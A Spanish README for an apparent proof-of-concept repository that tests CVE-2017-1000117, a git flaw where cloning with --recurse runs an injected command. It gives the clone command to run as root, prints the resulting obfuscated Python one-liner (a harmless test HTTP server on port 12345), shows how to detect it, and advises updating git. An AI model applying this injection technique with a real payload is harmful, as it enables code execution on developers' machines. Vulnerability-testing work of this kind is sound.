
Verificación de CVE-2017-1000117
Esto funciona aprovechando la vulnerabilidad CVE-2017-1000117.
Si se clona este repositorio con el comando git usando la opción --recurse con permisos de root,
se iniciará automáticamente un servidor http que escucha en el puerto 12345.
Para detener el servidor http, busque el número de proceso y ejecute kill.
CentOS7
macOS Sierra
Debian8
Ejecute el siguiente comando. Al terminar, la consola se quedará bloqueada, así que salga con Ctrl + C.
[root@localhost ~]$ git clone --recurse https://github.com/Shadow5523/CVE-2017-1000117-test.git
[root@localhost ~]$ ps ax | grep http
21365 pts/0 S 0:00 python -c (lambda j: (lambda s, i: s.setsockopt(i.SOL_SOCKET, i.SO_REUSEADDR, 1) or s.bind((i.gethostname(), 12345)) or s.listen(10) or map(lambda y: y.send("HTTP/1.0 200 OK\r\nContent-Length: 20\r\nContent-Type: text/html\r\n\r\n<html><center>test</center></html>"), (s.accept()[0] for x in iter(int, 1))))(j.socket(j.AF_INET, j.SOCK_STREAM), j))(__import__("socket"))
21381 pts/0 S+ 0:00 grep --color=auto ht
[root@localhost ~]$ netstat -tanp | grep 12345
tcp 0 0 127.0.0.1:12345 0.0.0.0:* LISTEN 21365/python
En macOS, compruébelo con el siguiente comando.
MAcbook:~ root# lsof -nP -iTCP -sTCP:LISTEN
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
Python 14231 root 3u IPv4 0xa3955f2183c66251 0t0 TCP 127.0.0.1:12345 (LISTEN)
Actualice git a la última versión. Consulte el siguiente enlace.
Cómo actualizar Git a la última versión desde un repositorio remoto de GitHub